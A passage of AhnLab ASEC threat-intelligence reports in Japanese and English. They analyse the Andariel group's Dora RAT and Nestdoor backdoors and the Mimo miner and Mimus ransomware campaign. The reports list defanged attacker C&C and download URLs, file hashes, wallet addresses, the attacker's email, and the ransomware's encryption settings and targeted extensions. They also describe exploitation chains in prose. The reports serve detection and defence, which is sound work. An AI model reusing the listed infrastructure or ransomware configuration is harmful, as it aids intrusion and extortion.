Meterpreter, and Sharpire in the infected systems. They use these tools to mine cryptocurrency, steal information, and install ransomware. MD5 28fb07cf6dcd072c3d0b82c60ce30bef 72a37a2fa588e013eafd695b8b5b0e61 a0c4c98a37562da3b94a9ac3f0dd56fb b512bfd19bf46dd3e735c331d768ea42 bf17b21c8e9f34a209977e0f2dce92c4 URL http[:]//gloryweb[.]vip/lin/config[.]json http[:]//gloryweb[.]vip/lin/go[.]sh http[:]//gloryweb[.]vip/lin/javarunprocess http[:]//gloryweb[.]vip/mm46[.]msi http[:]//gloryweb[.]vip[:]2086/ FQDN gloryweb[.]vip
ASEC Dora RAT を利用した韓国国内企業を対象とする APT 攻撃事例の解析(Andariel グループ) 2024-05-30
AhnLab SEcurity intelligence Center(ASEC)では最近、韓国国内企業および機関を対象とした Andariel グループの APT 攻撃事例を確認した。攻撃対象として確認された組織は、韓国国内の製造業、建設業、および教育機関であり、バックドアだけでなくキーロガー、インフォスティーラー、そしてプロキシツールが攻撃に使用された。攻撃者はこれらのマルウェアを利用して感染システムを操作し、システムに存在するデータを窃取することができたものと推定される。 この攻撃では、Andariel グループの過去の攻撃事例において確認された複数のマルウェアがともに確認された。代表的なものとして、以下で取り上げるバックドアマルウェアである Nestdoor が存在し、そのほかにも Web シェルが同時に確認された事例も存在する。また、同じファイルではないが過去に Lazarus グループの攻撃事例において確認された Proxy ツールが同時に使用されることもあった。 1. 攻撃の状況 攻撃プロセスで発見された複数の状況のうち、直接的に確認された攻撃事例として Apache Tomcat サーバーを運用している Web サーバーを攻撃し、マルウェアを配布した事例がある。当該システムは、2013年に製作された Apache Tomcat が動作していたため、様々な脆弱性を利用した攻撃が使われ得る条件である。攻撃者は Web サーバーを攻撃し、バックドア、プロキシツールなどをインストールした。 図1. Apache Tomcat を通じてインストールされたマルウェア 2. マルウェア解析 2.1. Nestdoor Nestdoor は、少なくとも2022年5月から確認されている RAT マルウェアである。攻撃者のコマンドを受け取って感染システムを操作することができ、Andariel グループの攻撃事例で継続的に確認されている。ここでは、分類のために収集された名前に基づき Nestdoor として分類する。 2022年6月、 アメリカ CISA では VMware Horizon 製品の Log4Shell 脆弱性(CVE-2021-44228)を悪用し、マルウェアをインストールする攻撃事例を解析して公開した。これらの攻撃事例の中には「Unidentified RAT」に分類されたマルウェアと、これをメモリ上で実行する Loader マルウェアが存在する。 [1] [2] (外部サイト、英語にて提供) 「Unidentified RAT」として分類されたマルウェアは C++ で開発されており、攻撃者のコマンドを受け取ってファイルのアップロード/ダウンロード、リバースシェル、コマンド実行のような不正な振る舞いを実行できる。このほかにも、キーロガーやクリップボードロガー、プロキシなどの様々な機能を提供し、解析を妨害するためにバイナリを難読化していることが特徴である。 参考に、ASEC では2022年5月に Lazarus グループの下位グループとして知られている Andariel グループが、VMware Horizon 製品の Log4Shell 脆弱性を悪用して TigerRAT を配布した攻撃事例を公開したことがある。 [3] また、2023年の初めには Nestdoor が TigerRAT とともに攻撃に使用された事例が確認されたこともあり、TigerRAT と同じ C&C サーバーを共有していた。すなわち、Nestdoor は TigerRAT とともに韓国国内の企業を対象とする攻撃と、Log4Shell 脆弱性を悪用した攻撃など、複数の攻撃に同時に使用されてきた。 具体的な配布経路は確認されていないが、2024年の初めには OpenVPN に偽装して配布した事例も確認されている。圧縮ファイルの中には以下のようにインストーラーに偽装したマルウェアが存在するが、「OpenVPN Installer.exe」ファイルを実行すると、同じパス上に位置するランチャーマルウェアである「FirewallAPI.dll」がロードされ、最終的に「Resource」フォルダーに存在する Nestdoor マルウェア「openvpnsvc.exe」を実行してしまう。Nestdoor は自身をタスクスケジューラーに登録し、持続性を維持して C&C サーバーと通信する。 図2. OpenVPN に偽装したマルウェア 今回の攻撃で確認された Nestdoor は OpenVPN 事例とは類似しているが、過去のタイプと比較すると違いが存在する。例えば、C&C 通信の過程で使用するコマンド番号が変更されており、より少数の機能に対応している。しかし、難読化の方式や初期ルーチンを含む全体的な構造は類似している。もちろん、ファイル操作やリバースシェルのような基本的な機能は同様に提供し、攻撃者が感染システムを操作できるという点に変わりはない。 図3. 最近確認された Nestdoor の難読化ルーチンとリバースシェルコマンド 2.2. Dora RAT 最近、Andariel グループは攻撃キャンペーンごとに新たなバックドアマルウェアを製作して使用しており、大半の場合は Go 言語を利用することが多い。今回確認された新たなマルウェアも Go 言語で開発されており、攻撃者が Dora RAT と名付けている。 図4. Dora RAT という名前で開発されたマルウェア Dora RAT はリバースシェル、ファイルのダウンロード/アップロード機能に対応している、相対的にシンプルな形式のマルウェアである。Dora RAT は2つの形式が確認されており、単独実行ファイルとして動作するタイプと、エクスプローラー、すなわち explorer.exe プロセスにインジェクションして動作するタイプがある。 「spsvc.exe」は、WinRAR SFX フォーマットの実行ファイルであり、内部に正常なプログラムの「OneDriverStandaloneUpdate.exe」と、インジェクターマルウェアの「version.dll」が存在する。実行すると「%APPDATA%」パスにこれらをインストールし、「OneDriverStandaloneUpdate.exe」を実行すると同一パスに位置する「version.dll」がロードされ、不正な振る舞いを実行する。「version.dll」は内部リソースに含まれるデータ、すなわち Dora RAT を復号化してエクスプローラープロセスにインジェクションする。 図5. リソースに暗号化して保存された Dora RAT 参考に、攻撃者は有効な証明書でマルウェアに署名し、配布したりもした。攻撃に使用された Dora RAT の中には、イギリスのソフトウェア開発業者の有効な証明書で署名されているタイプが確認された。 図6. 有効な証明書で署名された Dora RAT 2.3. その他のマルウェア 2.3.1. KEYLOGGER / CLIPLOGGER Dora RAT は基本的な操作機能のみを提供し、今回の攻撃で確認された Nestdoor も過去のバージョンとは異なり相対的にシンプルな機能だけを提供する。すなわち、キーロガーやクリップボードロガーのような機能はサポートしていない。そのため、攻撃者は Nestdoor を利用してキーロガーやクリップボードロガーを担うマルウェアを追加でインストールした。 攻撃に使用されたマルウェアは、「%TEMP%」パスに引数で渡された文字列に該当するファイルを生成し、記録したキー入力およびクリップボード情報を保存する。 図7. Temp パスに保存されたキー入力およびクリップボード情報 2.3.2. STEALER 攻撃者がインストールしたツールの中には、システムに存在するファイルを窃取するマルウェアも存在する。数量やサイズが小さい場合は、すでにインストールしたバックドアマルウェアを利用する場合もあるが、これを追加でインストールしたことから、大量のファイルを窃取することが目的であった可能性がある。 引数 説明 –protocol 通信で使用するプロトコル (tcp / udp) –server 窃取に使用されたアドレス (ip:port 形式) –dir, –file 窃取するファイルのパス –thread, –limit 性能制限 表1. Stealer の引数 2.3.3. PROXY 攻撃者が追加でインストールしたマルウェアのほとんどは、プロキシツールであった。確認されたプロキシツールの中には、攻撃者自ら製作したものと見られるタイプも存在するが、オープンソースの Socks5 プロキシツールも確認されている。 [4] [5] (外部サイト、英語にて提供) 特徴は、2021年の初めにカスペルスキー社によって公開された ThreadNeedle を利用した、Lazarus グループの攻撃キャンペーンで確認されたプロキシツールが使用されたという点である。同じファイルではないものの、サイズやルーチン、および認証プロセスで使用される文字列まで、すべてが同じマルウェアである。参考に、認証文字列まで同じであるこのプロキシのタイプは、少なくとも2014年から攻撃に使用され続けている。 図8. 攻撃に使用されたプロキシツール 3. 結論 Andariel グループは、Kimsuky、Lazarus グループとともに韓国国内を対象として活発に活動を続けている脅威グループの一つである。初期には主に安全保障に関する情報を取得するために攻撃を展開していたが、以降は金銭的利得を目的とした攻撃も行っている。 [6] (韓国語にて提供) 初期侵入時は主に、スピアフィッシング攻撃や水飲み場型攻撃、そしてソフトウェアの脆弱性を利用し、攻撃プロセスでさらなる脆弱性を利用してマルウェアを内部ネットワークに配布する状況も確認されている。 ユーザーは、出どころが不明なメールの添付ファイルや Web ページからダウンロードした実行ファイルには特に注意が必要であり、企業のセキュリティ担当者は資産管理ソリューションやアクセス権の制限ソリューションなど、企業内で使用するソフトウェアに脆弱性がある場合はパッチを実行して最新バージョンにアップデートしなければならない。また、OS およびインターネットブラウザ等のプログラムの最新パッチや V3 を最新バージョンにアップデートし、このようなマルウェアの感染を事前に遮断できるよう注意を払わなければならない。 ファイル検知 – Trojan/Win.Injector.C5610655 (2024.04.09.03) – Trojan/Win.Agent.C5610733 (2024.04.10.00) – Backdoor/Win.Nestdoor.C5610641 (2024.04.13.00) – Backdoor/Win.DoraRAT.C5610712 (2024.04.09.03) – Dropper/Win.Agent.C5610793 (2024.04.10.00) – Trojan/Win.Injector.C5610655 (2024.04.09.03) – Dropper/Win.Agent.C5610654 (2024.04.09.03) – Trojan/Win.KeyLogger.C5610642 (2024.04.09.03) – Backdoor/Win.Nestdoor.C5622508 (2024.05.16.03) – Trojan/Win.Launcher.C5622509 (2024.05.16.03) – Trojan/Win.PWS.C5068848 (2022.04.12.01) 振る舞い検知 – Malware/MDP.Fraud.M800 IoC MD5 – 7416ea48102e2715c87edd49ddbd1526 : Nestdoor – 最近の攻撃事例 (nest.exe) – a2aefb7ab6c644aa8eeb482e27b2dbc4 : Nestdoor – TigerRAT 攻撃事例 (psfile.exe) – e7fd7f48fbf5635a04e302af50dfb651 : Nestdoor – OpenVPN 攻撃事例 (openvpnsvc.exe) – 33b2b5b7c830c34c688cf6ced287e5be : Nestdoor Launcher (FirewallAPI.dll) – 4bc571925a80d4ae4aab1e8900bf753c : Dora RAT ドロッパー (spsvc.exe) – 951e9fcd048b919516693b25c13a9ef2 : Dora RAT ドロッパー (emaupdate.exe) – fee610058c417b6c4b3054935b7e2730 : Dora RAT ドロッパー (version.dll) – afc5a07d6e438880cea63920277ed270 : Dora RAT ドロッパー (version.dll) – d92a317ef4d60dc491082a2fe6eb7a70 : Dora RAT (emaupdate.exe) – 5df3c3e1f423f1cce5bf75f067d1d05c : Dora RAT (msload.exe) – 094f9a757c6dbd6030bc6dae3f8feab3 : Dora RAT (emagent.exe) – 468c369893d6fc6614d24ea89e149e80 : KeyLogger / ClipLogger (conhosts.exe) – 5e00df548f2dcf7a808f1337f443f3d9 : Stealer (msload.exe) C&C – 45.58.159[.]237:443 : Nestdoor – 最近の攻撃事例 – 4.246.149[.]227:1443: Nestdoor – TigerRAT 攻撃事例 – 209.127.19[.]223:443 : Nestdoor – OpenVPN 攻撃事例 – kmobile.bestunif[.]com:443 – Dora RAT – 206.72.205[.]117:443 – Dora RAT 関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。
ASEC Analysis of APT Attack Cases Using Dora RAT Against Korean Companies (Andariel Group) 2024-05-16
AhnLab SEcurity intelligence Center (ASEC) has recently discovered Andariel APT attack cases against Korean corporations and institutes. Targeted organizations included educational institutes and manufacturing and construction businesses in Korea. Keylogger, Infostealer, and proxy tools on top of the backdoor were utilized for the attacks. The threat actor probably used these malware strains to control and steal data from the infected systems. The attacks had malware strains identified in Andariel group’s past cases, the most notable of which is Nestdoor, a backdoor addressed in this post. Other cases include the addition of web shells. Proxy tools discovered from the Lazarus group’s previous attacks were also used, although their files were not identical to the current case. 1. Evidence of Attacks Among many pieces of evidence from the attack process, a case that was actually confirmed involved the distribution of malware using a web server that operated an Apache Tomcat server. Because the system in question ran the 2013 version of Apache Tomcat, it was prone to various vulnerability attacks. The threat actor used the web server to install backdoors, proxy tools, etc. Figure 1. Malware installed via Apache Tomcat 2. Malware Analysis 2.1. Nestdoor Nestdoor is an RAT malware strain that has been found since at least May 2022. It can receive the threat actor’s commands to control the infected system and has been discovered continuously in the Andariel group’s attack cases. For the convince of classification, this post lists cases as Nestdoor based on their collected names. In June 2022, the United States Cybersecurity & Infrastructure Security Agency (CISA) analyzed and disclosed attack cases that exploited the VMware Horizon product’s Log4Shell vulnerability (CVE-2021-44228) for malware installation. The cases included malware types classified as “Unidentified RAT” and loader strains that executed them in the memory. [1] [2] The malware strains classified as an “Unidentified RAT” are developed in C++ and can receive the threat actor’s commands and carry out malicious behaviors such as file upload and download, reverse shell, and command execution. Its other characteristics include binary obfuscation to disrupt analysis and various features such as keylogging, clipboard logging, and proxy. ASEC disclosed an attack case in May 2022 in which Andariel, an organization known as the Lazarus group’s subsidiary, exploited VMware Horizon’s Log4Shell vulnerability to distribute TigerRAT. [3] There was also a case in early 2023 where Nestdoor was used with TigerRAT to deploy an attack using the same C&C server as the latter. The cases show how Nestdoor was utilized in various attacks, such as the case involving TigerRAT against Korean companies and the case that exploited the Log4Shell vulnerability. A case where the malware was distributed under the disguise of OpenVPN was also discovered in early 2024, although its distribution path is yet to be confirmed. The malware disguised as an installer was inside the compressed file (see Figure 2). When the “OpenVPN Installer.exe” file is executed, the launcher malware in the same path “FirewallAPI.dll” is loaded, ultimately leading to the execution of “openvpnsvc.exe” which is the Nestdoor malware located in the “Resource” folder. Nestdoor maintains its persistence by adding itself to the Task Scheduler and communicates with the C&C server. Figure 2. Malware disguised as OpenVPN Although the Nestdoor malware identified in this case shares similarities with the OpenVPN case, it also has some distinguishing factors. For instance, the Nestdoor case modified command codes used during C&C communication and supports fewer features. However, its obfuscation method and the overall structure including the early routine are similar. Of course, both cases allow the threat actor to control the infected systems by offering basic features including file tasks and reverse shell. Figure 3. Obfuscation routine and reverse shell commands of the recently discovered Nestdoor 2.2. Dora RAT The Andariel group has recently started to create a new backdoor malware strain whenever they launch an attack campaign, developing most of the malware strains through the Go language. The newly discovered malware strain from this post was also developed using Go and was named “Dora RAT” by the attacker. Figure 4. Malware developed under the name “Dora RAT” Dora RAT is a relatively simple malware strain that supports reverse shell and file download/upload. The identified malware has two types: one operates as a standalone executable file, while the other runs by being injected into the explorer.exe process. “spsvc.exe” is an executable file in a WinRAR SFX format. The file includes a normal program “OneDriverStandaloneUpdate.exe” and the injector malware “version.dll”. Upon execution, these files are installed in “%APPDATA%”. When “OneDriverStandaloneUpdate.exe” is executed, “version.dll” located in the same path is loaded to carry out malicious behaviors. “version.dll” decrypts data within the internal resource, which is Dora RAT, and injects it into the explorer process. Figure 5. Dora RAT encrypted and saved in the resource For reference, the attacker has also signed and distributed malware using a valid certificate. Some of the Dora RAT strains used for the attack were confirmed to be signed with a valid certificate from a United Kingdom software developer. Figure 6. Dora RAT signed using a valid certificate 2.3. Other Malware Strains 2.3.1. Keylogger/Cliplogger Similar to Dora RAT, which only offers basic control features, the Nestdoor malware identified in this attack supports relatively simple functions compared to its previous versions. In other words, it does not support features such as keylogging or clipboard logging. Accordingly, the threat actor used Nestdoor to additionally install malware that would initiate keylogging and clipboard logging. The malware used for the attack generated a file for the string delivered to the “%TEMP%” path as an argument and saved the logged keystroke and clipboard information. Figure 7. Keystroke and clipboard information saved in the temp directory 2.3.2. Stealer The tools installed by the threat attacker included malware for stealing files in the system. Given that pre-existing malware strains are fit only to steal files of small quantity or size, the threat actor might have installed additional malware to steal files of massive size. Argument Description –protocol Protocol for communication (tcp/udp) –server Address used for exfiltration (ip:port format) –dir, –file Path of the file to be stolen –thread, –limit Performance limitation Table 1. Stealer’s argument 2.3.3. Proxy The additional malware strains that the threat actor installed were mostly proxy tools. Among the confirmed proxy tools were types that the attacker has likely created, though open-source Socks5 proxy tools have also been confirmed. [4] [5] A notable fact is that the threat actor used a proxy tool found in the Lazarus group’s attack using ThreadNeedle that Kaspersky disclosed in early 2021. Despite not being an identical file, the malware has the same size, routine, and string used during verification. For reference, the proxy type that exhibits the exact same traits (same authentication string) has been deployed for attacks since at least 2014. Figure 8. A proxy tool used for the attack 3. Conclusion The Andariel group is one of the threat groups that are highly active in Korea, alongside the Kimsuky and Lazarus groups. The group initially launched attacks to acquire information related to national security, but now they have also been attacking for financial gain. [6] They use spear phishing or watering hole attacks and exploit vulnerabilities in software during the initial access. There have also been circumstances of the Andariel group exploiting additional vulnerabilities in the attack process to distribute malware to internal networks. Users must be particularly cautious against attachments in emails from unknown sources and executable files downloaded from web pages. If there are vulnerabilities within the software used by companies such as asset management solutions or access control solutions, their security administrators apply patches to update them to their latest versions. They should also apply the latest patch for OS and programs such as internet browsers and update V3 to the latest version to prevent malware infection in advance. File Detection – Trojan/Win.Injector.C5610655 (2024.04.09.03) – Trojan/Win.Agent.C5610733 (2024.04.10.00) – Backdoor/Win.Nestdoor.C5610641 (2024.04.13.00) – Backdoor/Win.DoraRAT.C5610712 (2024.04.09.03) – Dropper/Win.Agent.C5610793 (2024.04.10.00) – Trojan/Win.Injector.C5610655 (2024.04.09.03) – Dropper/Win.Agent.C5610654 (2024.04.09.03) – Trojan/Win.KeyLogger.C5610642 (2024.04.09.03) – Backdoor/Win.Nestdoor.C5622508 (2024.05.16.03) – Trojan/Win.Launcher.C5622509 (2024.05.16.03) – Trojan/Win.PWS.C5068848 (2022.04.12.01) Behavior Detection – Malware/MDP.Fraud.M800 MD5 094f9a757c6dbd6030bc6dae3f8feab3 33b2b5b7c830c34c688cf6ced287e5be 468c369893d6fc6614d24ea89e149e80 4bc571925a80d4ae4aab1e8900bf753c 5df3c3e1f423f1cce5bf75f067d1d05c URL https[:]//206[.]72[.]205[.]117/ https[:]//209[.]127[.]19[.]223/ https[:]//45[.]58[.]159[.]237/ https[:]//kmobile[.]bestunif[.]com/ Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner below.
ASEC 脆弱性攻撃によりインストールされる Mimo コインマイナー with Mimus ランサムウェア 2024-01-19
AhnLab SEcurity intelligence Center(ASEC)は最近、Mimo と呼ばれるコインマイナーの攻撃者が様々な脆弱性を突く攻撃を行い、複数のマルウェアをインストールしている状況を確認した。Mimo は Hezb とも呼ばれ、2022年3月頃に Log4Shell の脆弱性攻撃を通じてコインマイナーマルウェアをインストールしている事例が初めて確認された。 これまでに認知されている攻撃事例はすべて、最終的に Mimo Miner Bot という XMRig コインマイナーをインストールする攻撃であった。しかし、関連する攻撃事例を通じて同じ攻撃者が Mimo マイナー以外にも Mimus ランサムウェア、Proxyware、リバースシェルマルウェアをインストールする事例も同様に確認された。ここでは、Mimo の攻撃者が攻撃に使用した様々なマルウェアを取り上げる。 1. 脆弱性を利用した攻撃の状況 初めて確認された Mimo 攻撃者の活動は2022年3月頃に Log4Shell の脆弱性(CVE-2021-44228)を突いた攻撃であり、コインマイナーをインストールしたものであった [1] ( 外部サイト、英語にて提供 ) 。2022年5月には WSO2 のリモートコード実行の脆弱性である CVE-2022-29464 を [2] ( 外部サイト、英語にて提供 ) 、2022年6月にはアトラシアン・コンフルエンス(Atlassian Confluence)サーバーの脆弱性である CVE-2022-26134 を利用して攻撃を行った事例が公開された。 [3] ( 外部サイト、英語にて提供 ) そして2023年5月には、印刷管理プログラムである PaperCut のリモートコード実行の脆弱性 CVE-2023–27350 を悪用した攻撃事例が [4] ( 外部サイト、英語にて提供 ) 、直近では Apache ActiveMQ の脆弱性(CVE-2023-46604)を利用した攻撃の状況も確認された。 ASEC では、2022年頃に 8220 Gang、z0Miner だけでなく Mimo (Hezb)攻撃者が脆弱なアトラシアン・コンフルエンス(Atlassian Confluence)サーバーを攻撃して XMRig コインマイナーをインストールした事例を解析して公開した。 [5] この攻撃に利用された脆弱性 CVE-2022-26134 は、パッチが適用されていない脆弱なアトラシアン・コンフルエンス(Atlassian Confluence)サーバーのリモートコード実行の脆弱性である。 図1. CVE-2022-26134 脆弱性によってインストールされた Mimo コインマイナー Atlassian 社の Confluence (コンフルエンス)は、代表的な協業型プラットフォームで、世界中の様々な企業が導入している。Confluence は Web ベースのプラットフォームで、プロジェクトの管理およびコラボレーションのようなサービスを、実質的に Confluence サーバー(もしくは Confluence データセンター)を通して提供している。多くの企業で導入されている有名なソリューションであるため、以前から継続的に脆弱な Confluence サーバーおよびデータセンターをターゲットにした脆弱性が発見されており、パッチが適用されていないシステムが攻撃対象になっている。 Mimo 攻撃者が Log4Shell(CVE-2021-44228)脆弱性を悪用してコインマイナーをインストールする事例も、最近まで継続的に確認されている。Log4Shell(CVE-2021-44228)は Java ベースのロギングユーティリティである Log4j の脆弱性であり、リモート先の Java オブジェクトのアドレスをログメッセージに含ませ Log4j を使用するサーバーに転送すると、サーバーから Java オブジェクトを実行できるリモートコード実行の脆弱性である。 攻撃対象のシステムは VMware Horizon 製品がインストールされたシステムであり、企業でのリモートワークソリューションとクラウドインフラ運用のために使用する仮想化デスクトップソリューションである VMware Horizon のパッチを現在までに適用しておらず、内部で使用している Log4j が攻撃を受けているものと推定される。 図2. Log4Shell 脆弱性によってインストールされた Mimo コインマイナー このほかにも、最近では2023年11月に公開された Apache ActiveMQ 脆弱性(CVE-2023-46604)攻撃も確認された。CVE-2023-46604 はオープンソースのメッセージおよび統合パターンサーバーである Apache ActiveMQ サーバーのリモートコード実行に関する脆弱性である。パッチが適用されていない Apache ActiveMQ サーバーが外部に公開されている場合、攻撃者はリモートで悪意を持ったコマンドを実行し、当該システムを掌握できる。 脆弱性攻撃は、classpath にあるクラスをインスタンス化するように OpenWire プロトコルでシリアライズされたクラスタイプを操作する方式で行われる。攻撃者が細工されたパケットを送信すると、脆弱なサーバーではパケットに含まれた経路、すなわち URL を参照して、クラス XML の設定ファイルをロードする。 例えば、脆弱な Apache ActiveMQ の Java プロセスは伝達された細工パケットを参考して「hxxp://102.130.112[.]157/poc-win.xml」の経路に存在する XML 設定ファイルをロードする。以降はロードした XML 設定ファイルを参照して指定したコマンドを実行するが、次の設定ファイルには Mimo マイナーをダウンロードする PowerShell コマンドが設定されている。 図3. Mimo マイナーの攻撃に使用される Apache ActiveMQ 脆弱性設定ファイル 2. XMRig コインマイナーの攻撃事例 脆弱性攻撃によって実行された PowerShell は、Batch ファイル形式のマルウェアをダウンロードして実行するが、最近では「lnl.bat」または「kill.bat」という名前が使用されている。この Batch マルウェアは Windows Defender を無効化し、他のコインマイナーを削除したあと、最終的に「ln.bat」または「mad.bat」という Batch マルウェアを %TEMP% パスにダウンロードして実行する役割を担う。 図4. 脆弱性攻撃によってインストールされる Batch マルウェア 「ln.bat」または「mad.bat」という Batch ファイル形式のマルウェアは、さらに「dom.zip」または「dom-6.zip」という圧縮ファイルをダウンロードして 7z ツールを利用して解凍する。この圧縮ファイルにはモネロコインの採掘を実行する XMRig コインマイナー「dom.exe」と NSSM ツール「dsm.exe」、設定ファイルが格納されている。Batch スクリプトは、その後 NSSM を利用して XMRig をサービスに登録する。脆弱性を突いた攻撃には様々な手法が使われているが、コインマイナーをインストールするルーティンは相対的に単純なものであり、XMRig や NSSM ツールもそのまま使用される。 図5. XMRig コインマイナーをインストールする Batch マルウェア 図6. Mimo 攻撃者が使用する設定ファイル ウォレットアドレス – 1 : 43DTEF92be6XcPj5Z7U96g4oGeebUxkFq9wyHcNTe1otM2hUrfvdswGdLHxabCSTio7apowzJJVwBZw6vVTu7NoNCNAMoZ4 ウォレットアドレス – 2 : 46HmQz11t8uN84P8xgThrQXSYm434VC7hhNR8be4QrGtM1Wa4cDH2GkJ2NNXZ6Dr4bYg6phNjHKYJ1QfpZRBFYW5V6qnRJN 3. Mimus ランサムウェア Mimo 攻撃者の攻撃事例は、最近でも XMRig コインマイナー、すなわち Mimo マイナーをインストールするものがほとんどである。しかし、2023年にはランサムウェアによる攻撃事例も確認されている。ランサムウェアは2023年頃に Mimo マイナーを配布したアドレスと同じところから、同じタイミングに確認された。 図7. Mimo マイナーと Mimus ランサムウェアのダウンロードアドレス この Batch マルウェアによってインストールされたランサムウェアは「mauri870」という開発者が研究目的で開発し、Github に公開したソースコードをベースに作られた。 [6] (外部サイト、英語にて提供) 当該ソースコードは別の攻撃者たちによって頻繁に使用されているのか、MauriCrypt として検知されているという内容も説明に記載されている。ここでは、当該オープンソースランサムウェアを MauriCrypt と呼称する。 図8. Github に公開されているランサムウェアのソースコード MauriCrypt は Go 言語で開発されており、攻撃者はこれを利用してランサムウェアを制作したあと、Mimus ランサムウェアと命名した。Mimus ランサムウェアは MauriCrypt のソースコードと比較した際にこれといった違いが存在せず、攻撃者の C&C アドレス、ウォレットアドレス、電子メールアドレスのような設定データのみが変更されていた。 概要 説明 暗号化アルゴリズム AES-256 CTR 暗号化拡張子 .encrypted ランサムノート名 READ_TO_DECRYPT.html, FILES_ENCRYPTED.html 暗号化除外パス “ProgramData”, “Windows”, “bootmgr”, “$WINDOWS.~BT”, “Windows.old”, “Temp”, “tmp”, “Program Files”, “Program Files (x86)”, “AppData”, “$Recycle.Bin” 暗号化対象の拡張子 “doc”, “docx”, “msg”, “odt”, “wpd”, “wps”, “txt”, “csv”, “pps”, “ppt”, “pptx”, “aif”, “iif”, “m3u”, “m4a”, “mid”, “mp3”, “mpa”, “wav”, “wma”, “3gp”, “3g2”, “avi”, “flv”, “m4v”, “mov”, “mp4”, “mpg”, “vob”, “wmv”, “3dm”, “3ds”, “max”, “obj”, “blend”, “bmp”, “gif”, “png”, “jpeg”, “jpg”, “psd”, “tif”, “gif”, “ico”, “ai”, “eps”, “ps”, “svg”, “pdf”, “indd”, “pct”, “epub”, “xls”, “xlr”, “xlsx”, “accdb”, “sqlite”, “dbf”, “mdb”, “pdb”, “sql”, “db”, “dem”, “gam”, “nes”, “rom”, “sav”, “bkp”, “bak”, “tmp”, “cfg”, “conf”, “ini”, “prf”, “html”, “php”, “js”, “c”, “cc”, “py”, “lua”, “go”, “java” C&C アドレス hxxp://windows.n1tro[.]cyou:4544 表1. Mimus ランサムウェアの概要 MauriCrypt は感染システムの「id」と暗号化に使われる AES キー値「enckey」をランダムに生成したあと C&C サーバーに接続して伝達する。参考に、Mimus ランサムウェアは無効化されているが、MauriCrypt では C&C サーバーとの通信に Tor をサポートする機能も含まれている。Tor ブラウザをダウンロードして %TEMP% パスにインストールしたあと、これを実行して Tor ブラウザを経由し C&C サーバーに接続する方式である。 図9. Tor ダウンロードアドレス その後、例外パスを除く他のパスで指定した拡張子に該当するファイルを暗号化する。暗号化されたファイルは、名前が Base64 でエンコードされ、拡張子が「.encrypted」に変更される。ファイルの暗号化が完了すると、デスクトップに2つのランサムノートが生成される。ランサムノート「FILES_ENCRYPTED.html」は暗号化されたファイルのリストが保存されており、ランサムノート「READ_TO_DECRYPT.html」に連絡先のアドレスとビットコインのウォレットアドレスが含まれている。 図10. デスクトップに生成されたランサムノート 攻撃者のメールアドレス :arbeyceo@proton[.]me 攻撃者のビットコインのウォレットアドレス : 15Jz1fmreZx9wG93DKjTXMhuLpPpCgvEQk 復号化ツール販売サイト :hxxps://satoshidisk[.]com/pay/CIIRg6 ランサムノートに明記された復号化ツール販売サイトに接続すると、復号化ツールを0.01050000 BTC で販売する記事を確認できる。Mimus ランサムウェアの攻撃との直接的な関係は不明だが、ビットコインのウォレットアドレスの記録によれば、多数の取引履歴が確認できる。 図11. 復号化ツール販売サイト 図12. 攻撃者のビットコインのウォレットアドレスの取引履歴 4. Proxyware 配布方式およびインストールするスクリプトは確認されなかったが、Mimo マイナーを配布した時点に、同じアドレスから Proxyware とリバースシェルマルウェアがダウンロードされた履歴も存在する。すなわち、攻撃者は収益を創出するためにランサムウェア攻撃およびコインマイニング以外にも、Proxyware をインストールする Proxyjacking 攻撃を同時に使用したものと推定される。 Proxyware とは、インストールされたシステムにおいて現在使用可能なインターネット帯域幅の一部を外部に共有するプログラムであり、一般的にこのプログラムをインストールしているユーザーは帯域幅を提供する代わりに一定の金額を受け取っている。攻撃者がユーザーの同意を得ずに感染システムに Proxyware を密かにインストールすると、感染したシステムは非自発的にネットワーク帯域幅を奪われることになり、収益は攻撃者に帰することとなる。これは Cryptojacking 攻撃と類似しているが、Proxyware の代わりにコインマイナーをインストールして感染システムのリソースで暗号通貨を採掘する点が異なっている。 図13. Mimo マイナー関連アドレスからダウンロードされた Proxyware 5. NHAS リバースシェル このほかにも、Mimo マイナーのダウンロードアドレスと同じアドレスを C&C サーバーとして使用するリバースシェルマルウェアも確認された。攻撃に使われたリバースシェルは「NHAS」が開発し、Github に公開されている reverse_ssh というツールであり、Go 言語で開発されている。C&C サーバーとの通信に SSH プロトコルを使用することが特徴である。 [7] (外部サイト、英語にて提供) 図14. Reverse Shell の Github ページ NHAS リバースシェルは、基本的には名前のようにリバースシェルであるため、他のバックドアおよび RAT タイプと比較してコマンドの実行やファイル操作、ポートフォワーディングのような基本的なコマンドのみを提供する。ただし、これがインストールされたということは、攻撃者が単純に感染システムにコインマイニングや Proxyware、ランサムウェアをインストールして収益を得るだけでなく、さらなる操作のために感染システムの操作権限を奪うこともあるということを意味する。 6. 結論 2022年初頭に初めて確認された Mimo マイナーの攻撃者は、最近でも Log4Shell(CVE-2021-44228)、WSO2 のリモートコード実行の脆弱性である CVE-2022-29464、アトラシアン・コンフルエンス(Atlassian Confluence)サーバーの脆弱性である CVE-2022-26134、印刷管理プログラムである PaperCut のリモートコード実行の脆弱性 CVE-2023–27350、そして Apache ActiveMQ 脆弱性(CVE-2023-46604)等の脆弱性を突いた攻撃によってマルウェアをインストールしている。 これらの脆弱性はすべてパッチが公開されているが、攻撃者は適切に管理されていないシステムを対象とするため、攻撃は現在でも続いている。システム管理者は、使用しているサービスが脆弱なバージョンであるかをチェックし、最新バージョンにパッチを適用して、既知の脆弱性による攻撃を防がなければならない。 また、外部に開放されていてアクセスが可能なサーバーに関してはファイアウォールのようなセキュリティ製品を利用し、外部の攻撃者からのアクセスを統制する必要がある。最後に、V3 を最新バージョンにアップデートしてマルウェアへの感染を事前に遮断できるように注意を払わなければならない。 ファイル検知 – Downloader/BAT.CoinMiner.SC195961 (2024.01.11.02) – Downloader/BAT.CoinMiner.SC195959 (2024.01.11.02) – CoinMiner/BAT.Xmrig.SC195960 (2024.01.11.02) – CoinMiner/BAT.Xmrig.SC195962 (2024.01.11.02) – Unwanted/Win32.NSSM.R353938 (2020.10.27.00) – Trojan/Win32.RL_Miner.R363967 (2021.01.23.01) – Win-Trojan/Miner3.Exp (2020.01.23.00) – Data/JSON.Miner (2022.05.11.03) – Data/JSON.Miner (2021.12.12.00) – Downloader/BAT.CoinMiner.SC195966 (2024.01.11.02) – Downloader/BAT.CoinMiner.SC195964 (2024.01.11.02) – 